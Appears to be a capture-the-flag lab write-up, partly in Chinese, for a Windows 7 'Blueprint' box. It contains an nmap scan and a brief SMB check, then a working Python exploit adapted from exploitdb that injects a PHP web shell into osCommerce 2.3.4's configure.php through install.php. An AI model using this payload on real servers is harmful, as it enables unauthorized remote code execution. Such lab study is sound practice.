Nmap scan report for 10.10.219.247 Host is up (0.31s latency). Not shown: 987 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 80/tcp open http Microsoft IIS httpd 7.5 |_http-title: 404 - File or directory not found. |_http-server-header: Microsoft-IIS/7.5 | http-methods: |_ Potentially risky methods: TRACE 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 443/tcp open ssl/http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) | http-methods: |_ Potentially risky methods: TRACE |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28 | http-ls: Volume / | SIZE TIME FILENAME | - 2019-04-11 22:52 oscommerce-2.3.4/ | - 2019-04-11 22:52 oscommerce-2.3.4/catalog/ | - 2019-04-11 22:52 oscommerce-2.3.4/docs/ |_ | tls-alpn: |_ http/1.1 | ssl-cert: Subject: commonName=localhost | Not valid before: 2009-11-10T23:48:47 |_Not valid after: 2019-11-08T23:48:47 |_ssl-date: TLS randomness does not represent time |_http-title: Index of / 445/tcp open microsoft-ds Windows 7 Home Basic 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) 3306/tcp open mysql MariaDB (unauthorized) 8080/tcp open http Apache httpd 2.4.23 (OpenSSL/1.0.2h PHP/5.6.28) | http-methods: |_ Potentially risky methods: TRACE | http-ls: Volume / | SIZE TIME FILENAME | - 2019-04-11 22:52 oscommerce-2.3.4/ | - 2019-04-11 22:52 oscommerce-2.3.4/catalog/ | - 2019-04-11 22:52 oscommerce-2.3.4/docs/ |_ |_http-title: Index of / |_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2h PHP/5.6.28 49152/tcp open msrpc Microsoft Windows RPC 49153/tcp open msrpc Microsoft Windows RPC 49154/tcp open msrpc Microsoft Windows RPC 49158/tcp open msrpc Microsoft Windows RPC 49159/tcp open msrpc Microsoft Windows RPC 49160/tcp open msrpc Microsoft Windows RPC Service Info: Hosts: www.example.com, BLUEPRINT, localhost; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results: | smb-security-mode: | account_used: guest | authentication_level: user | challenge_response: supported |_ message_signing: disabled (dangerous, but default) | smb-os-discovery: | OS: Windows 7 Home Basic 7601 Service Pack 1 (Windows 7 Home Basic 6.1) | OS CPE: cpe:/o:microsoft:windows_7::sp1 | Computer name: BLUEPRINT | NetBIOS computer name: BLUEPRINT\x00 | Workgroup: WORKGROUP\x00 |_ System time: 2024-03-03T04:43:49+00:00 |_nbstat: NetBIOS name: BLUEPRINT, NetBIOS user: <unknown>, NetBIOS MAC: 02:6b:f8:91:a5:9f (unknown) | smb2-security-mode: | 2:1:0: |_ Message signing enabled but not required | smb2-time: | date: 2024-03-03T04:43:48 |_ start_date: 2024-03-03T04:21:34 |_clock-skew: mean: -4s, deviation: 1s, median: -5s
directory enumeration
連進去80 port之後發現好像沒什麼服務，所以先去找8080 似乎不太需要做了 :>
Exploit
smb
因為沒有擋，直接連 但進去後好像沒看到什麼特別的東西，八成是 rabbit hole qq
web
port 8080 是一種叫做 osCommerce 的 web 服務，上 exploitdb 查就找到PoC了(link here)，抓回來改一下變成shell： exp.py
# enter the the target url here, as well as the url to the install.php (Do NOT remove the ?step=4) base_url = "http://10.10.219.247:8080/oscommerce-2.3.4/catalog/" target_url = "http://10.10.219.247:8080/oscommerce-2.3.4/catalog/install/install.php?step=4"
data = { 'DIR_FS_DOCUMENT_ROOT': './' }
# the payload will be injected into the configuration file via this code # ' define(\'DB_DATABASE\', \'' . trim($HTTP_POST_VARS['DB_DATABASE']) . '\');' . "\n" . # so the format for the exploit will be: '); PAYLOAD; /*
payload = '\');' payload += 'die(exec($_GET["rah"]));'# this is where you enter you PHP payload payload += '/*'
data['DB_DATABASE'] = payload
# exploit it r = requests.post(url=target_url, data=data)
if r.status_code == 200: print("[+] Successfully launched the exploit. Open the following URL to execute your code\n\n" + base_url + "install/includes/configure.php") else: print("[-] Exploit did not execute as planned")
